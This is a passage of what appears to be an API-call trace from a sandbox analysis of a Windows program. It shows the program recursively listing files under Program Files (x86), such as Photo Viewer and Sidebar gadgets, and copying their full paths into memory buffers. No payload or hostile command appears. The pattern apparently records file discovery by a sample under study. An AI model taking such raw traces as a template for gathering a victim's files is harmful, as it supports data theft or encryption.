returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" [0030.072] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.072] lstrcmpW (lpString1="PhotoAcq.dll.mui", lpString2=".") returned 1 [0030.072] lstrcmpW (lpString1="PhotoAcq.dll.mui", lpString2="..") returned 1 [0030.072] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0030.072] lstrlenW (lpString="PhotoAcq.dll.mui") returned 16 [0030.072] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="PhotoAcq.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" [0030.072] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui") returned 66 [0030.072] lstrcpyW (in: lpString1=0x468cf8, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" [0030.072] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.072] lstrcmpW (lpString1="PhotoViewer.dll.mui", lpString2=".") returned 1 [0030.072] lstrcmpW (lpString1="PhotoViewer.dll.mui", lpString2="..") returned 1 [0030.072] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0030.072] lstrlenW (lpString="PhotoViewer.dll.mui") returned 19 [0030.072] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="PhotoViewer.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" [0030.072] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui") returned 69 [0030.072] lstrcpyW (in: lpString1=0x468d88, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" [0030.072] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0030.073] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0030.073] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.073] lstrcmpW (lpString1="ImagingDevices.exe", lpString2=".") returned 1 [0030.073] lstrcmpW (lpString1="ImagingDevices.exe", lpString2="..") returned 1 [0030.073] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0030.073] lstrlenW (lpString="ImagingDevices.exe") returned 18 [0030.073] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="ImagingDevices.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" [0030.073] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe") returned 62 [0030.073] lstrcpyW (in: lpString1=0x4628a8, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" [0030.073] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.073] lstrcmpW (lpString1="ImagingEngine.dll", lpString2=".") returned 1 [0030.073] lstrcmpW (lpString1="ImagingEngine.dll", lpString2="..") returned 1 [0030.073] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0030.073] lstrlenW (lpString="ImagingEngine.dll") returned 17 [0030.073] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="ImagingEngine.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" [0030.073] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll") returned 61 [0030.073] lstrcpyW (in: lpString1=0x462930, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" [0030.073] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.073] lstrcmpW (lpString1="PhotoAcq.dll", lpString2=".") returned 1 [0030.073] lstrcmpW (lpString1="PhotoAcq.dll", lpString2="..") returned 1 [0030.073] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0030.073] lstrlenW (lpString="PhotoAcq.dll") returned 12 [0030.073] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="PhotoAcq.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" [0030.073] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll") returned 56 [0030.073] lstrcpyW (in: lpString1=0x4661c0, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" [0030.073] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.073] lstrcmpW (lpString1="PhotoBase.dll", lpString2=".") returned 1 [0030.073] lstrcmpW (lpString1="PhotoBase.dll", lpString2="..") returned 1 [0030.073] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0030.073] lstrlenW (lpString="PhotoBase.dll") returned 13 [0030.073] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="PhotoBase.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" [0030.073] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll") returned 57 [0030.073] lstrcpyW (in: lpString1=0x466240, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" [0030.073] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.073] lstrcmpW (lpString1="PhotoViewer.dll", lpString2=".") returned 1 [0030.074] lstrcmpW (lpString1="PhotoViewer.dll", lpString2="..") returned 1 [0030.074] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0030.074] lstrlenW (lpString="PhotoViewer.dll") returned 15 [0030.074] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="PhotoViewer.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" [0030.074] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll") returned 59 [0030.074] lstrcpyW (in: lpString1=0x4662c0, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" [0030.074] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0030.074] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0030.074] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0030.074] lstrcmpW (lpString1="Windows Portable Devices", lpString2=".") returned 1 [0030.074] lstrcmpW (lpString1="Windows Portable Devices", lpString2="..") returned 1 [0030.074] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0030.074] lstrlenW (lpString="Windows Portable Devices") returned 24 [0030.074] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Portable Devices" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices") returned="c:\\Program Files (x86)\\Windows Portable Devices" [0030.074] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Portable Devices", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\") returned="c:\\Program Files (x86)\\Windows Portable Devices\\" [0030.074] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Portable Devices\\") returned 48 [0030.074] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\*") returned="c:\\Program Files (x86)\\Windows Portable Devices\\*" [0030.074] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Portable Devices\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0030.074] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0030.074] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.074] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0030.074] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0030.074] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.074] lstrcmpW (lpString1="sqmapi.dll", lpString2=".") returned 1 [0030.074] lstrcmpW (lpString1="sqmapi.dll", lpString2="..") returned 1 [0030.074] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Portable Devices\\") returned 48 [0030.074] lstrlenW (lpString="sqmapi.dll") returned 10 [0030.074] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\", lpString2="sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll") returned="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" [0030.074] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll") returned 58 [0030.074] lstrcpyW (in: lpString1=0x466340, lpString2="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll") returned="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" [0030.074] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0030.074] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0030.074] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0030.074] lstrcmpW (lpString1="Windows Sidebar", lpString2=".") returned 1 [0030.074] lstrcmpW (lpString1="Windows Sidebar", lpString2="..") returned 1 [0030.074] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0030.074] lstrlenW (lpString="Windows Sidebar") returned 15 [0030.074] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Sidebar" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar") returned="c:\\Program Files (x86)\\Windows Sidebar" [0030.075] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\" [0030.075] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0030.075] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\*" [0030.075] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0030.075] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0030.075] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.075] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0030.075] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0030.075] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.075] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0030.075] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0030.075] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0030.075] lstrlenW (lpString="en-US") returned 5 [0030.075] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US" [0030.075] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\" [0030.075] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned 45 [0030.075] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\*" [0030.075] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.106] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0030.106] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.106] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0030.106] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0030.106] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.106] lstrcmpW (lpString1="sbdrop.dll.mui", lpString2=".") returned 1 [0030.106] lstrcmpW (lpString1="sbdrop.dll.mui", lpString2="..") returned 1 [0030.106] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned 45 [0030.106] lstrlenW (lpString="sbdrop.dll.mui") returned 14 [0030.106] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\", lpString2="sbdrop.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui" [0030.106] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui") returned 59 [0030.106] lstrcpyW (in: lpString1=0x4663c0, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui" [0030.106] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.106] lstrcmpW (lpString1="Sidebar.exe.mui", lpString2=".") returned 1 [0030.106] lstrcmpW (lpString1="Sidebar.exe.mui", lpString2="..") returned 1 [0030.106] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned 45 [0030.106] lstrlenW (lpString="Sidebar.exe.mui") returned 15 [0030.106] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\", lpString2="Sidebar.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui" [0030.106] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui") returned 60 [0030.106] lstrcpyW (in: lpString1=0x4629b8, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui" [0030.106] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0030.106] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0030.106] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.106] lstrcmpW (lpString1="Gadgets", lpString2=".") returned 1 [0030.106] lstrcmpW (lpString1="Gadgets", lpString2="..") returned 1 [0030.106] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0030.106] lstrlenW (lpString="Gadgets") returned 7 [0030.107] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="Gadgets" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets" [0030.107] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\" [0030.107] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0030.107] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*" [0030.107] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.119] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0030.119] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.119] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0030.119] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0030.119] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.119] lstrcmpW (lpString1="Calendar.Gadget", lpString2=".") returned 1 [0030.119] lstrcmpW (lpString1="Calendar.Gadget", lpString2="..") returned 1 [0030.119] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0030.119] lstrlenW (lpString="Calendar.Gadget") returned 15 [0030.119] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Calendar.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget" [0030.119] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.119] lstrcmpW (lpString1="Clock.Gadget", lpString2=".") returned 1 [0030.119] lstrcmpW (lpString1="Clock.Gadget", lpString2="..") returned 1 [0030.119] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0030.119] lstrlenW (lpString="Clock.Gadget") returned 12 [0030.119] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Clock.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget" [0030.119] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.119] lstrcmpW (lpString1="CPU.Gadget", lpString2=".") returned 1 [0030.119] lstrcmpW (lpString1="CPU.Gadget", lpString2="..") returned 1 [0030.119] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0030.119] lstrlenW (lpString="CPU.Gadget") returned 10 [0030.119] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="CPU.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget" [0030.119] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.119] lstrcmpW (lpString1="Currency.Gadget", lpString2=".") returned 1 [0030.119] lstrcmpW (lpString1="Currency.Gadget", lpString2="..") returned 1 [0030.119] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0030.119] lstrlenW (lpString="Currency.Gadget") returned 15 [0030.119] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Currency.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget" [0030.119] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.120] lstrcmpW (lpString1="PicturePuzzle.Gadget", lpString2=".") returned 1 [0030.120] lstrcmpW (lpString1="PicturePuzzle.Gadget", lpString2="..") returned 1 [0030.120] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0030.120] lstrlenW (lpString="PicturePuzzle.Gadget") returned 20 [0030.120] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="PicturePuzzle.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget" [0030.120] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.120] lstrcmpW (lpString1="RSSFeeds.Gadget", lpString2=".") returned 1 [0030.120] lstrcmpW (lpString1="RSSFeeds.Gadget", lpString2="..") returned 1 [0030.120] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0030.120] lstrlenW (lpString="RSSFeeds.Gadget") returned 15 [0030.120] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="RSSFeeds.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget" [0030.120] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.120] lstrcmpW (lpString1="SlideShow.Gadget", lpString2=".") returned 1 [0030.120] lstrcmpW (lpString1="SlideShow.Gadget", lpString2="..") returned 1 [0030.120] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0030.120] lstrlenW (lpString="SlideShow.Gadget") returned 16 [0030.120] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="SlideShow.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget" [0030.120] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.120] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Weather.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget" [0030.121] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="pie.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe") returned="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe" [0030.121] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe") returned 46 [0030.121] lstrcpyW (in: lpString1=0x468e20, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe") returned="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe" [0030.121] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="sbdrop.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll") returned="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll" [0030.121] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll") returned 49 [0030.121] lstrcpyW (in: lpString1=0x464be8, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll") returned="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll" [0030.121] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="settings.ini" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini") returned="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini" [0030.121] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini") returned 51 [0030.121] lstrcpyW (in: lpString1=0x464c58, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini") returned="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini" [0030.121] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="Shared Gadgets" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets") returned="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets" [0030.121] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\" [0030.121] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\") returned 54 [0030.121] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*" [0030.121] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.122] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="sidebar.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe") returned="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe" [0030.122] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe") returned 50 [0030.122] lstrcpyW (in: lpString1=0x464cc8, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe") returned="c:\\Program Files 